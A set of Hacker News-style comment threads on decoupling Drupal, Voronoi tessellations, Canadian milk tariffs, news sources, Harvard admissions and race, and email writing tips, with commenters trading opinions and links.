Should we decouple Drupal with a client-side framework? - <AUTHOR> http://buytaert.net/should-we-decouple-drupal-with-a-client-side-framework <comment><USER2> Honestly, Drupal is doomed. I wrote about it years ago when I left the community [1] around the time many of the smart folks who were contributing started moving on to better things.

Just a look at Google Trend for Drupal [2] shows you that it's been declining steadily since 2009. Comparing it to Wordpress [3] shows you the extent of the gap with the leader.

Drupal has always been stuck trying to address an odd user; not exactly a developer, but somebody technical enough to leverage the insane amount of configuration interfaces that allow you to compose a Drupal website.

Personally, I think most CMS have it wrong: coupling content management and front-end generation is a sure way to end up spreading yourself thin and not properly addressing either problem. I think content API (e.g. Prismic.io or Contentful) are good examples of what a better approach could be.

Have a content management system that has great editorial tools and exposes the content through an API and let developers do what they do, integrating the content from the API.

[1]: [http://teddy.fr/2013/01/25/dropping-the- drop/](http://teddy.fr/2013/01/25/dropping-the-drop/)

[2]: [https://www.google.com/trends/explore#q=drupal](https://www.google.com/trends/explore#q=drupal)

[3]: [https://www.google.com/trends/explore#q=drupal%2C%20wordpres...](https://www.google.com/trends/explore#q=drupal%2C%20wordpress&cmpt=q&tz=Etc%2FGMT%2B5)

<comment><USER3> > I think content API (e.g. Prismic.io or Contentful) are good examples of > what a better approach could be.

I wrote about this in a blogpost a couple of months ago called 'the perfect CMS' [1]. I think Contentful is pretty spot-on in terms of features, but i would really love to see an open source project (like WordPress or Drupal) taking this same approach.

[1]: [http://www.haykranen.nl/2015/07/08/perfect- cms/](http://www.haykranen.nl/2015/07/08/perfect-cms/)

<comment><USER2> We're building something that we're gonna Open Source soon. In the meantime you could check out Cockpit: [http://getcockpit.com/](http://getcockpit.com/).

</comment></comment></comment><comment><USER4> It's tough to see the healthy path forward for Drupal. 10 years ago it filled an obvious need. But now that need is getting squeezed from both sides. On the low end, for a company that only needs a simple-to-moderate CMS, there is WordPress. But on the other side, where many complex modules are needed, think about how easier it is now to pull together a bunch of modules using one of the new services that automates microservices. Think of something like lsq.io. Suppose you need 19 modules, so you roll out 19 simple Node apps, each basically just some Node package, and then a service like lsq.io automates the orchestration and deployment of those 19 modules. Is that more difficult than Drupal? I would argue that in most cases it is easier.

So what set of needs exists for which Drupal is the perfect answer? That set of needs is getting smaller all the time, as other options get better. "Easy to configure CMS" is still the best bet for Drupal. That is what it was originally known for. That was what let it win the competition with ExpressionEngine and Joomla.

If Drupal focused on stability, they could claim to be the stablest answer for configurable CMSs. That is probably a niche it could hang on to for another 5 years. Beyond that... its tough to see where it goes after that, but at least that is something to hang on to.

<comment><USER5> Wordpress still remains to be a blog, not really a CMS per se

<comment><USER6> I'd argue that WordPress is used far more as a _web_ (not just content) management system than a blog.

My idea of a blog is what blogger/blogspot provides. Your common WordPress config today has 5+ pages, maybe a store, maybe directory of employees (who don't even know what WP is), maybe manage subscription memberships, maybe running a flash arcade (so 2006, but you get the idea)...

Yeah, WP has a core function of making a post, but it's evolved into 100x that, and that was the goal (probably in like 2008 they set out? I don't know). Did they accomplish it? I'd say so.

</comment></comment></comment><comment><USER7> There are so many other things that need fixing first. They should spend some time getting all the most used modules to use the same UX. Panels looks and acts totally differently to Views, both of which are totally different to Blocks.

We found a module the other day that had a Delete TAB, not a button, not a link but a TAB. Honestly. Who does that?

Sometimes the save button is at the bottom, sometimes the top, sometimes it saves via AJAX...

What they should do is like the module HOOK system, do the same for the user experience/GUI front end.

And Drupal is so slow. So painfully slow. Install a few modules and e-commerce and wow. Slow. Slow. Slow.

And as soon as you start debugging it, nearly all the code ends up being along the lines of:

        $function($args);

due to the HOOKs. When you're five or six levels deep and the call stack is just full of $function() calls... what then?

<comment><USER8> Drupal 8 is a lot different from all previous versions. It still has issues but some of the points you made have been "fixed".

<comment><USER7> Drupal 8 isn't ready until it has all the modules that a customer may need. Most of ours are ecommerce or 'rooms' (online booking) ... I think those are perfectly reasonable minimal functionality for a CMS that is supposed to be better than Word Press.

So Drupal 8 core may be out, but for 99% of Drupal developers we're all waiting for the modules to catch up.

</comment></comment></comment><comment><USER9> Drupal needs to decide what it is, do that well. It needs to decide what it wants to be, and optionally also work toward that.

I hate to see its evolution as never-quite-there toward a never-quite-decided future.

Whatever they do, the years-long release cycle needs to die, allow whatever improvements you'd like on head without worrying much about BC, occasionally cut off a LTS release that never gets anything new without 100% BC. Maintain these long enough that it's economically feasible for people to base projects on (Whatever the benefit of the project is * years that benefit is durable > cost of development). Focus on data migration for when people re-build sites on newer platform instead of continuous upgrades -- nobody does these unless they're painless, they will never be painless.

There's too much coupling between presentation, client-side behavior, server- side behavior and data model for me to see this particular change going anywhere good.

You can't truly decouple client and server while still letting non-developers build web apps unless you build a UI-configurable framework for consuming an API generically and building client-side presentation and behavior. Even then, unless you also go so far as to infer things about my data from its API, it's still twice as much work to describe both my server-side domain model and its presentation instead of letting one be implied by the other.

But in typical Drupal fashion, they probably don't mean "decouple" when they say that word, so it's really just rewriting the current hodge-podgy fully- coupled client-side behaviors in a more structured but still coupled way using a client-side framework -- absorbing it the way they did Symfony for the server, not the best move but definitely with value and very achievable.

<comment><USER7> It needs to become simpler. We've had a team of four doing drupal sites for over a year and we all still feel like n00bs. Very little idea of best practices. Mixing themes and modules together always produces something different, some new way of laying out pages or dealing with data.

I think some backwards compatibility breaks are needed in Drupal 9 to just simplify things.

<comment><USER10> Drupal's a little strange in that every major release (Drupal 5,6,7,8) is incompatible with the previous major release, so all of the contributed modules need to be rewritten or updated.

In practice, this means that if you are going to build a Drupal site, it may take several months to a year after the official release before everything's stable enough to build out a new site.

Drupal 8 should simplify things a lot, compared to Drupal 6/7, in that they are actively developing Drupal for developers who _aren 't_ Drupal developers. The question is whether that's enough to make Drupal a viable CMS/application platform going forward.

<comment><USER11> This can't be ignored. If you want to build anything of significance then you are re-writing your entire app every couple years, or less depending on their cycle.

Literally nothing between 7 to 8 works. You are starting over. This is not acceptable in the markets Acquia is going after (enterprise).

<comment><USER12> Worse than that. By the time the module eco-system has finally caught up Drupal has already moved on. It's un-workable.

</comment></comment></comment></comment></comment><comment><USER13> Given Drupal's highly-modular architecture, React and a manager like Redux makes the most sense IMO.

Building the Drupal module frontend as React Components seems like it would be easy to add on as a toggleable layer. You push state into the global Drupal root and mimic the module tree in the state store, and then reduce based upon a dispatch from individual modules somewhere in the document tree.

It's a very clean fit into Drupal's legacy architecture and easy for a Drupal developer to wrap their head around, as it's all one-way.

</comment><comment><USER14> Is there market evidence that websites are getting penalized for serving up html and not using client-side frameworks?

<comment><USER15> If anything, it would be the opposite, I would think. Client-side frameworked pages generally don't answer Google inquiries very well.

</comment></comment><comment><USER16> Yes, that's where things are going. The vast majority of websites out there never really needed 18-wheeler CMSs to move a small box. The vast majority of web dev shops cannot afford a full-time fully qualified ops/server admin employee. Conclusion: serverless architectures are the obvious answers for most websites and web apps. For the two or three must-be-done-in-server processes, services like AWS Lambda will do (or APIs from vendors). Turn Drupal into a PAAS with an API that any front-end CMS can use. I've already tested this hypothesis with a few small/medium sized clients (size measured in traffic and user base). It works. I had to put together a simple CMS (backbone+bootsrap) but it would be nice to see a popular CMS with themes + plugins going into this direction.

</comment><comment><USER15> This seems like a gross mis-understanding of your product. Content sites are still almost entirely regular web pages, not any of the fancy new "single page app" stuff.

</comment><comment><USER10> Realistically, the selling point of Drupal is the strong integration between the front end and the back end - if Headless Drupal becomes the norm, there won't be a lot of good reasons to deploy Drupal on the back-end instead of say, Rails API.

If the Drupal project gets solidly behind Angular, React, Ember, or something else, and Drupal 9 modules support client-side as well as server-side rendering, this could be a very interesting development.

</comment><comment><USER17> How will this impact SEO? Have any other CMSes managed to take the SPA route successfully?

<comment><USER18> There's a fair amount of movement behind doing this sort of thing with Wordpress/WP-API. There's even a conference[0]. The conference site itself is a pretty cool example of a site using WP-API (see the "View API Request" at the bottom).

I've used this pattern on a couple projects now and it's an enjoyable Devon experience. And the client gets the benefit of a nice admin interface.

[0] [https://feelingrestful.com](https://feelingrestful.com)

<comment><USER18> *dev experience. That's a weird autocorrection choice.

</comment></comment></comment><comment><USER19> yes

</comment><comment><USER20> This is a terrible idea, and will destroy Drupal, but other than that, sure why not?</comment>


Voronoi Tessellations - <AUTHOR> http://datagenetics.com/blog/may12017/index.html <comment><USER2> I find it particularly interesting that this post steals images from my blog [1], then adjusts the saturation / brightness on them so that a reverse image search thinks they are unique.

Please don't do this. Folks put effort into well-illustrated explanations; if you're going to re-use content, at least put an attribution and link on there!

[1] [http://www.mattkeeter.com/projects/swingline/](http://www.mattkeeter.com/projects/swingline/)

<comment><USER3> (Author here)

Matt, I'm very sorry. It was a genuine mistake. I always try hard to attribute sources (as you can see from the references in the doc, and on the couple of hundred other articles on my blog). It was nothing personal, it was an oversight :)

I've corrected this now on the site. Sorry again. Thanks for bringing this to my attention.

Regards

/\/ick

<comment><USER2> Thanks for the quick fix; I quite enjoyed the writeup.

</comment></comment></comment><comment><USER4> Voronoi tesselation is also a step in K-Means, which is one of the most well- known clustering algorithms (typically used for quantization). Here is a page with an interactive visual example for it: [https://www.naftaliharris.com/blog/visualizing-k-means- clust...](https://www.naftaliharris.com/blog/visualizing-k-means-clustering/)

Note that the DataGenetics article talks about 2D Voronoi cells but they (and K-Means as well) can be generalized to a space of any dimensionality.

<comment><USER5> They are also used for Conceptual Spaces in cognitive science and semantics. I wonder what's the most efficient visualization algorithm for k-dimensions when a set of central points is provided. Is it Fortune's algorithm or are there faster ones?

</comment></comment><comment><USER6> You can create these easily using SQL, Postgres, & PostGIS.

[https://postgis.net/docs/ST_VoronoiPolygons.html](https://postgis.net/docs/ST_VoronoiPolygons.html)

</comment><comment><USER7> the point + line generalized Voronoi diagram is also related to the medial axis, which is used for calculating offsets in CNC applications:

[https://www.cosy.sbg.ac.at/~held/projects/vroni/vroni.html](https://www.cosy.sbg.ac.at/~held/projects/vroni/vroni.html)

you need the medial axis for v-carving, to control the CNC like so: [https://youtu.be/jJhaDHmXvsY?t=1m15s](https://youtu.be/jJhaDHmXvsY?t=1m15s)

</comment><comment><USER8> Interesting reading the different methods for creating the Voronoi tesselation. I've always built the Delaunay triangulation first, I guess I knew there were other approaches, just never bothered to find out what.

If you generate a Voronoi tesselation for a set of points, you can then merge neighboring areas to create isoclines

</comment><comment><USER9> The article mentions Delanuay triangulation, but it doesn't mention that one way to calculate a Voronoi tesselation is to calculate the Delanuay triangulation first.

<comment><USER10> Interestingly, the reverse as also very true: A simple and rather effective method to calculate a delaunay triangulation on a set of 2D points on a GPU is to actually calculate the according Voronoi diagram (discretely) into a texture (using jump flooding) and handling the edges between the cells[1][2].

[1]: [http://www.cs.utah.edu/~maljovec/files/DT_on_the_GPU_Print.p...](http://www.cs.utah.edu/~maljovec/files/DT_on_the_GPU_Print.pdf)

[2]: [http://www.comp.nus.edu.sg/~tants/delaunay/GPUDT.pdf](http://www.comp.nus.edu.sg/~tants/delaunay/GPUDT.pdf)

</comment></comment><comment><USER11> Voronoi tessellations are common in data visualizations to increase the size of click/hover targets and to position labels. It's built into d3: [https://github.com/d3/d3-voronoi](https://github.com/d3/d3-voronoi)

</comment><comment><USER12> Voronoi diagrams are used a lot in game development too, in creating and recalculating navmeshes in games where the navigation graph changes often. I have a game project underway right now where the player can build fences, lampposts and other obstacles, and the hundred plus AI actors need to be able to navigate it in real-time. Recalculating the Delauney Triangulation and the Voronoi tessleation is expensive, so I just sent it to a thread, it's worthwhile to do all that work because A* pathfinding on anything other than a navmesh would be, for my project, incredibly slow. This sort of algorithm is a great thing to know that it exists and have in your backpocket.

EDIT: I have a little devlog about the game I'm developing full-time, back in October 2015 I made a video where I talked through the first pass of my Voronoi/Navmesh implementation. Might be worth watching if anyone wants to see the tesselation overlaid onto a game world, for a real-life usage of the algorithms: [https://www.youtube.com/watch?v=zPD3HqI6HDE](https://www.youtube.com/watch?v=zPD3HqI6HDE) I should assure everyone that the game looks _very_ different now thought! No more checkerboard textures...

</comment><comment><USER13> Marc DiMarco gave really entertaining presentation on user interface algorithms at acm applicative conference a couple of years ago including covering the voronoi diagram.

I think this is an earlier version of the same presentation

[https://youtu.be/8_75wViQQY8](https://youtu.be/8_75wViQQY8)

It was interesting to hear about the use by an early epidemiologist to find the bad water source during the cholera outbreak in London.

</comment><comment><USER14> If you're interested in building Voronoi and Delaunay graphs in C++, I wrote some easily reusable code years ago, a fixed up version of Stephen Fortunes algorithm.

[http://chofter.com/mapviewer/voronoi.php](http://chofter.com/mapviewer/voronoi.php)

Pardon my pre-web-engineer lack of HTML knowledge, I was young and mind melded with robots at the time :-)

<comment><USER14> Related, another cool thing that Voronoi graphs are useful for is enumeration all possible paths a robot can take in an environment. This can be used to determine the quality of the map built with sonar/radar/lidar, to better understand the value of a sensor or algorithm in SLAM.

I wrote a paper on it long ago, the third one listed here if you're interested

[http://chofter.com/masters.php](http://chofter.com/masters.php)

</comment></comment><comment><USER15> Here is a fullscreen Voronoi made by Neave.

[https://neave.com/voronoi/](https://neave.com/voronoi/)

</comment><comment><USER16> Good (visual) explanation!

Voronoi helped us once to make a game: [https://www.airconsole.com/play/multiplayer- games/polyracer](https://www.airconsole.com/play/multiplayer-games/polyracer)

</comment><comment><USER17> I did a while ago a simple implementation of k-means in Javascript, it shows how the process converges for cluster finding. [http://ktzar.github.io/js-k- means-clustering/](http://ktzar.github.io/js-k-means-clustering/) code: [https://github.com/ktzar/js-k-means-clustering](https://github.com/ktzar/js- k-means-clustering)

</comment><comment><USER18> /usr/lib/xscreensaver/voronoi

man voronoi:

" _This implementation takes advantage of the OpenGL depth buffer to compute the cells for us, by rendering the intersection of overlapping cones in an orthographic plane._ "

[https://www.youtube.com/watch?v=hD_8cBvknUM](https://www.youtube.com/watch?v=hD_8cBvknUM)

</comment><comment><USER19> I've seen a website background that looked like the shifting gif. Something fancy in js that some developer made. Looked really neat. Ate 100% of my CPU to look at their main site or blog, but it did look neat. Nice to get an idea of what they were doing.

</comment><comment><USER20> Check out [http://www.quantize.maths-fi.com/](http://www.quantize.maths- fi.com/) The website is edited by some of the best mathematicians in numerical probability field.

</comment><comment><USER21> These are also used to create the mesh for computational fluid dynamics.

</comment><comment><USER22> Anybody used catmull-clark on top of voronoi ? Just curious.</comment>


Why Canadian Milk Infuriates Donald Trump - <AUTHOR> https://www.theguardian.com/world/commentisfree/2018/jun/09/milk-canada-us-trade-war <comment><USER2> What's surprising is that Canadians would complain about another country imposing tariffs when they themselves see tariffs as noble and enlightened. The article only supports Trump's stance and the hypocrisy of Canadian politics.</comment>


Ask HN: Where do you get your news? - <AUTHOR>

While home on winter break, my parents asked me what I read to stay tuned to news and current events. I responded "Hacker News," but it got me thinking that I should be expanding my horizons. How and from where do people consume news? Do you use news aggregators, RSS feeds/readers, or just have a handful of sites you check back to? <comment><USER2> very similar question from 12h ago [https://news.ycombinator.com/item?id=8865860](https://news.ycombinator.com/item?id=8865860) and currently in #5 spot on 'Ask HN'

<comment><AUTHOR> Whoops! I obviously didn't look around enough. What a coincidence though.</comment></comment>


Does Harvard discriminate against Asian-Americans? - <AUTHOR> http://infoproc.blogspot.com/2018/01/the-content-of-their-character-ed-blum.html <comment><USER2> Such policies never end well. A university's best chance of relevance long term is to unabashedly pursue the best and the brightest, regardless of race.

This holds in the valley too - merit trumps everything else. There's ample evidence of a (happy) best-in-class workforce affecting bottom lines.

<comment><USER3> > pursue the best and brightest

Well, for Harvard (and most other top universities apart from Caltech) the "best" and the "brightest" are not necessarily synonyms.

First, from the viewpoint of prestige, it is better to accept those into the program who don't cut the mustard but have a good chance of becoming presidents/prime ministers/kings/business tycoons. And who has a good chance? Kids of senators, dictators, billionaire movers and shakers, way more so than the politically active 4.0 student from next door.

Second, from the viewpoint of long term relevance, spitting out one student who will endow the university subsequently with a few millions is worth way more than spitting out twenty eminently smart professors who go on to teach in obscurity - Harvard is the best example, even if their marketing goes badly, their $30bn endowment will buy sufficiently many Nobel-prize-winning faculty and scholarships for bright students to stay relevant for centuries.

</comment></comment><comment><USER4> I'm shocked reading this. How is this legal in the USA? And they have been doing this "racial balancing" for this long?

<comment><USER5> The US is completely obsessed with race. It's utterly bizarre to me. I often ask people what race has to do with anything, but they never seem to provide me with a convincing answer...

<comment><USER6> Well, for a long time, the US meant white (and 90% protestants). All the founding stories and elites are based on them (from the Founding Fathers and the pilgrims to the image of America in culture, Hollywood etc). Heck, there was a fuss that Kennedy was catholic -- and that was in the late 50s. So, it was those English, German, nordic, etc people at the core.

Blacks, of course, had their start as slaves and servants of those whites, and were until the mid-60s discriminated openly against, with full legal coverage for that.

So a large part of the white population has inherited notions that this is their proper place, where others are judging them by the second and third order effects of their old status up to the segregation (e.g. seeing that they're still many uneducated, poor, living in bad areas, over-represented in prison etc. Those whites assume that just because slavery ended -- and they conveniently forget 100+ more years of discrimination-- those blacks should just raise and ascend to middle/rich class, like many immigrants did. After all those immigrants started dirt poor too -- yeah, but those immigrants didn't live in a hostile society forever, they were more easily assimilated, intermarried etc into the white story, and given more chances, especially after WWII).

Because even other whites, like Italians, Jews, Irish, Greeks, and so on, were openly discriminated against for a large part of the 20th century. After they got slowly accepted into white society (and again, not totally), they also adopted their stance towards other races (not totally), as a requirement to be admitted in "polite company".

Asians too, were at the bottom. Japanese Americans, in the early 20th century, were considered barely better than blacks were, working in the worst menial jobs.

So that's what race has to do with anything. You came into the US as a member of a race, found solace and support with your own, and usually hatred or obstacles put your way from the dominant races. And as you were accepted into the mainstream society, you learned to hate those other races they hated too.

That's my understanding of the issue.

<comment><USER5> Thanks! I don't disagree with anything you said. I guess that, in my mind, it just seems that we'll never move forward as a society until we stop sorting people into boxes, especially boxes defined by arbitrary things like skin color. That is not the only variable. Why don't we focus on all the causes of disenfranchisement? There's clearly a macro-scale correlation between racial background/history and one's opportunities in society, but at the micro-scale the picture is so much more complex than that. A hyperfocus on race oversimplifies the problem, contributes to division, and hinders progress toward real solutions. I think we owe it to future generations to raise them with a broader understanding of these matters.

Maybe I'm overreacting here. If so, my apologies -- perhaps it's because of the sociopolitical milieu where I live. Anyway, I mean no offense to anyone. Like many others, I'm just trying to work through these issues as honestly as I can -- because dishonesty doesn't help anyone.

:-)

<comment><USER7> I do think that there are people who actively try to divide the country on racial lines because it personally benefits them. Most notably, Al Sharpton and Jesse Jackson. David Duke gets media attention every time there is a national election because for some reason his opinion means something. I think there is currently a hysteria about a racism epidemic in the US that doesn't really hold true.

A lot of what was said in parent comments is true and I agree with. Though I don't think it really reflects today. At least not where I'm from. Perhaps there is more of that on the East coast, but I think as you go to the midwest and west coast you get less of that kind of division. There are definitely racists, but there are a lot more who live with a "live and let live", or attempt to adopt a "colorblind" (which is now racist apparently), worldview.

I think most whites in the US feel like they are the scapegoats for some other groups misfortunes. When no one alive had much to do with past injustices. Can you really blame past injustices for decisions of people today? In 1965 the out of wedlock birth rate was 25% and now it is almost 75%. Single parent homes come with a host of problems and much higher rates of crime, drug abuse, and lack of education.

So the likes of Jesse Jackson and Sharpton look at things like police shooting statistics (which is misleading in how they characterize them) and act like that is the biggest problem facing black people in the US. People feel enraged by what is perceived to be "unjust" police violence, sometimes rightly. Jackson and Sharpton raise their own profiles, and essentially run a "don't get called racist" money laundering operation through foundations they run.

The real problems don't get addressed and those who attempt to are called "racists" or "uncle toms" and the cycle continues. It is disgusting and sad.

</comment></comment></comment></comment></comment><comment><USER8> The mental doublethink that enables outrage over this but tacitly accepts gender quotas is amazing.

<comment><USER9> Uhh, more women go to collage now so that seems like it would discriminate vs women?

Really, if we want to punch more women into stem we would need to eliminate less useful options.

<comment><USER8> Talking about the push for implicit quotas in tech companies/all companies. Kind of obviously.

<comment><USER9> Ok, article is about collage admissions so I assumed that's what was being referenced. Companies are not going to introduce quotas as it reduces their efficiency and thus costs them money.

<comment><USER10> > Companies are not going to introduce quotas as it reduces their efficiency > and thus costs them money

Don't they already do this? Maybe not with direct quotas, but certainly they fast-track women when hiring.

<comment><USER9> Fast tracking does not have the same downside as quotas. With fast-tracking you can have some minimum standard, with quotas you are more or less forced to accept people that are arbitrarily bad simply because you did not get enough applications.

Another way of thinking about this is if you take say 2+ weeks to vet everyone then some perfectly qualified people are going to drop out because they found a job on day 3. On the other hand if you simply adjust the schedule so group X gets an answer within 3 days you are going to end up with more perfectly qualified people from group X without lowering your standards.

Similarly if you promote someone sooner they are less likely to look for a new job right after a promotion. That does not mean you need to promote people that are not capable, just reduce mandatory waiting periods.

</comment></comment></comment></comment></comment></comment><comment><USER11> Yes, of course it does (as do the rest of the ivys and most elite schools):

[http://www.unz.com/runz/the-myth-of-american- meritocracy/](http://www.unz.com/runz/the-myth-of-american-meritocracy/)

Somewhat humorously, if you buy unz's numbers, non-jewish whites are actually the most underrepresented group in nearly all elite universities.

</comment><comment><USER2> The next time you read a bullshit article/research on the Harvard Business Review (hbr.org) remember that it isn't necessarily the product of unbiased scientific research. An admissions committee (including professors) that doesn't value merit and objectivity can't be trusted to publish realistic research</comment>


Composing better emails - <AUTHOR> https://iridakos.com/how-to/2019/06/26/composing-better-emails.html <comment><USER4> If you want to compose better emails, forget formatting.

\- practice making emails short. Write, then rewrite to 50% of original length, then try to make it even shorter.

\- make the request a separate paragraph (request = what you want the other person to do)

\- if your email is an attempt to persuade someone, don't bother. Go talk to them. Email will cause you problems in your career if you keep that up. It's unsuitable as a means of discussion (same as Slack and any other written medium). The only reason to do that is if you can't get the other party on the phone/in person (which is almost never the case).

<comment><USER5> _> if your email is an attempt to persuade someone, don't bother. Go talk to them._

This really depends on the person being persuaded and the type of topic.

For me (and I know many that agree), it's better to put a _complex_ topic into an email than to walk up to people. Organize your thoughts, use bullet points, prioritize the most important things, add web links or other evidence to support your ideas.

The problem is that when you just walk up to my desk or call me on the phone to talk about something complex, _you 're now forcing me to become your secretary_ and transcribe your notes. I'm now "writing out your email" that I would prefer you write yourself. That's not being respectful of my time. I can _read at ~250 wpm_ ; you can only talk at ~100 wpm.

Yes, if it's something lightweight like you're trying to convince me to go to the Chinese restaurant instead of Italian for lunch, go ahead and talk to me instead of write up an email. Otherwise, please consider if the recipient of your complex topic wants to be your "secretary".

I would be very curious of a survey that asked if people preferred to be convinced by coworkers talking to them instead of writing emails/reports with organized and coherent data. Would it be a minority or majority of respondents?

<comment><USER4> I don't mean for this to be blunt, but since we're talking about work, if I want to persuade you of something, it's your job to listen to me, because my persuasion will be aimed at accomplishing company goals! So we are both on the clock here, not just you.

I can also assure you I speak faster than I type, and so it's not just your end that counts.

I'm also pretty sure I can say much fewer words with proper tone of voice to convey as much as 5x long email correctly, and a single word of your response and a look at your face as I speak will tell me more of what I should understand of your reaction than even the most elaborate written response...

Persuasion and discussion isn't about me laying out my point clearly in a tidy format though, right? It's about mind-sharing, interaction, sensitivity, etc.

Maybe we come from very different types of organizations? I have never, ever (!) in my 15+ year career been in a position where too many unprepared people forced me in any way to listen to their stupid / ill-prepared ideas....

[Edit] I'm also confused, how does someone coming up to talk to you forces you to write anything down?? (seriously I don't get that part :) )

<comment><USER6> _> if I want to persuade you of something, it's your job to listen to me_

If you're trying to persuade someone of something, you're the salesman in that situation. Keep that in mind.

 _> I can also assure you I speak faster than I type, and so it's not just your end that counts._

That wasn't the point; jasode was asserting that many people read other peoples' writing faster than others speak, not that other people can type faster than they can speak.

<comment><USER4> I get it. But we have to weigh both sides of the cost, and if you want me to type something up, it's not just that you gain by it because you read fast - <USER2> lose something because I type slow! And org pays for both our times.

</comment></comment></comment></comment></comment><comment><USER7> I would also add "promote the most important message to the first sentence/paragraph". Rewriting the first example:

      Hello all,

      Please check and revise the priority of Redmine issue (#455) that I have created.

      I noticed that there are many logs for blabla the last few days and I don't think that it is normal.
      I believe the problem is the updated version of gem blabla.

      Feel free to change its priority in case blabla.

      Thanks,
      Lazarus

<comment><USER8> The first sentence in most cases should be what you require the receipient to do. The rest of the email can then be why you want them to do it. This has the beneficial effect that the receipient can immediately tell from the first line how important the email is, how time sensitive it is, and how much time and other resources they have to commit to resolve/reply to the email. Examples:

* Check issue (from the above example)

* Giving you a routine update (no action required from receipient besides reading the email)

* Set a meeting (receipient needs to determine when they are free to discuss the why of the email)

* Give me permission to do X

</comment></comment><comment><USER9> Sometimes we use obfuscation for social reasons

\- because we don't want to offend some direct recipients

"We see a future using efficient automation techniques to improve shareholder value"

or

"we are firing the expensive useless third of staff"

\- because we don't know the current opinion of people on the list

"We should investigate the options"

vs

"We are all agreed we should use the new design so let's do that"

\- we are not sure who the decision maker actually is, or if this is even a problem

All of the above may come off as lack of confidence / inability to write clearly but generally it is awareness of difficult social situations that if not handled well would derail the ultimate outcome - in short just because people are not writing "hard charging go getting emails" does not mean they are ineffective - perhaps they are more effective than the bull in a china shop

<comment><USER10> Being aware of the power structure/corporate politics going on at your workplace is really important if you want to advance.

Also when you work across cultures you need to adjust your tone/approach. As a German working with French coworkers, it took me a while to figure this out.

<comment><USER11> > As a German working with French coworkers, it took me a while to figure this > out.

What examples come up the most, or had the most impact on you figuring it out?

<comment><USER12> i.e.: You have to put people in "To" and "Cc" by order of importance in the company and respect the hierarchy.

<comment><USER13> I thought this was crazy and egotistical, and how could anyone even want such a thing... until I googled the topic. From what I'm reading, it's not that rare ([https://workplace.stackexchange.com/questions/97395/in- what-...](https://workplace.stackexchange.com/questions/97395/in-what-order- should-i-list-coworkers-in-emails)).

In my mind, order serves no purpose, so requiring it is purely egotistical. That being said, overly egotistical people aren't exactly a rarity in the business world. And the minute _one_ person says it matters, other people start thinking it does too (because someone else might see it that way, and it reflects on them).

</comment></comment></comment></comment></comment><comment><USER14> For the "structure long messages" bit, i was taught to use the SCRAP mnemonic:

Situation: x has broken

Complication: dev is on lunch

Resolution: wait for dev to return from lunch and request investigation and thoughts on fix

Actions:

@dev finish lunch;

@teamlead inform @dev when returned from lunch;

@dev investigate problem and report to @teamlead;

@teamlead update @me on progress;

@me inform clients on issue

@me setup meeting to discuss potential fixes with @teamlead & @dev.

Politeness: have a good lunch everyone

<comment><USER15> I've used an almost identical method, but never knew this had a name, or such a neat mnemonic!

</comment></comment><comment><USER16> Those are some nice tips, but I have to question the use of bold font, it seems to come off as too aggressive.

<comment><USER17> I agree and I've been using italic instead of bold font for this reason. It's like you're whispering something which makes people listen more intently and hopefully read more intently.

<comment><USER18> It's very strange to me that some people actually don't like bold text to emphasize relevant parts.

It's the easiest way to aid speed reading/allowing mental prose-to-bullet point conversion.

For me it's a sign of respect for time of the reader who is likely overwhelmed with information and wants to focus on the most important parts.

I've written some technical documents this way. In one company I got explicit email that this helped a lot and was great idea. Implementation that followed went smoothly.

In other company it has been seen as silly, all emphasis was removed, bullet points expanded to prose, useless brochure like logos/typography added - <USER3> course I'm biased but this document stands in my head as the shittiest/least useful/confusing/verbose documents I had to deal with.

I think to really appreciate this approach you'd have to test it yourself on 50 page document and discover how fast you can digest 80% of information included.

Likely practicing speed reading will help to appreciate it more.

It's a bit like medium highlights - but it's designed by the author, it can be really, really useful, but it's niche and very rare to see unfortunately.

<comment><USER19> Although I feel the same surprise as you, (I didn't realise some people would interpret bold as yelling/condescension) ... I'm going to change the way I use it.

I can't control the reader, only my writing, so I'll switch to italics or even monospace (I'll test both)

</comment></comment></comment></comment><comment><USER20> Anyone who has read any of my posts here knows that I suffer from an inability to speak concisely. I feel I have a talent for being able to get my message across clearly and this has helped me a lot at work. However, I have trouble keeping the message size small enough so that most people will read to the end.

Does anyone have any advice for improving on this front?

<comment><USER21> Yes, write short.

This is the title of one of the chapters in "Writing without bullshit", hilariously followed by the first paragraph: "Use fewer words".

Other tips from the book:

* Edit everything

* Aim for a word count

* Say what you really mean

* Start boldly

* Organize relentlessly

* Prune sections and arguments

* Use bullets or tables

* Use graphics

* Trim connective tissue

* Delete weasel-words and qualifiers

<comment><USER22> William Strunk would shout to his class:

"Omit needless words! Omit needless words! Omit needless words!"

[https://www.brusselslegal.com/article/display/2563/Tip_2_Omi...](https://www.brusselslegal.com/article/display/2563/Tip_2_Omit_needless_words)

[https://www.bartleby.com/141/strunk5.html#13](https://www.bartleby.com/141/strunk5.html#13)

<comment><USER23> Umberto Eco would have added ;-):

13\. Don't be repetitious; don't repeat the same thing twice; repeating is superfluous (redundancy means the useless explanation of something the reader has already understood).

[http://gioclairval.blogspot.com/2010/02/umberto-ecos- rules-f...](http://gioclairval.blogspot.com/2010/02/umberto-ecos-rules-for- writing-well.html)

</comment></comment></comment></comment><comment><USER24> I like and follow most of this, but the most important topic is missing: use meaningful subjects! I don't want any "Re: Re: Re: Fw: Re: issue..." emails in my inbox. Especially if I later want to find some specific email.

<comment><USER25> This. As an anti-spam measure (that worked flawlessly so far), instead of putting an email address on my website, I have my website send an email to people with the "From" address set to my address. The subject is something like "To reach me, just reply to this email!"

A bunch of people used it, but not a single one managed to change the subject line to describe what their email is actually about. Not one.

<comment><USER26> Well, maybe you should add: ... and change the subject :)

<comment><USER25> It's no biggie and sure I can change it to "change this", it's just odd to me that nobody sets the subject line.

</comment></comment></comment></comment><comment><USER27> Especially when addressing multiple recipients, I tend to write emails like:

> Hello,

> Short version: all-hands meeting to discuss painting of the bike shed, Thu 1 > Aug @ 14:30 in the board room. There will be cookies.

> Long version:

> <more details>

I also tend to first jot down a draft of the "long version", then edit it for clarity and brevity, then write the "short version" last.

Edit: I find HN formatting weird sometimes.

<comment><USER28> Like TL;DRs on Reddit! Interesting, I think I'll incorporate this concept for my long emails, thanks for sharing.

<comment><USER13> Per the request of one of my early bosses, I include TL;DRs on my emails when they get long. It can save people a fair amount of time.

</comment></comment></comment><comment><USER29> I highlight emergency/mistakes an bad things in general with red background. Resolved situations or positive approach with green background. In both cases white and bold font.

After a while, the same color pattern is emerging from customer communication.

<comment><USER30> I had been a "true believer" in plain text email until I had a support vendor document a problem using just this technique, including output from the system in question in fixed-width font.

While I cringe at the majority of HTML email, this use case I find enormously valuable.

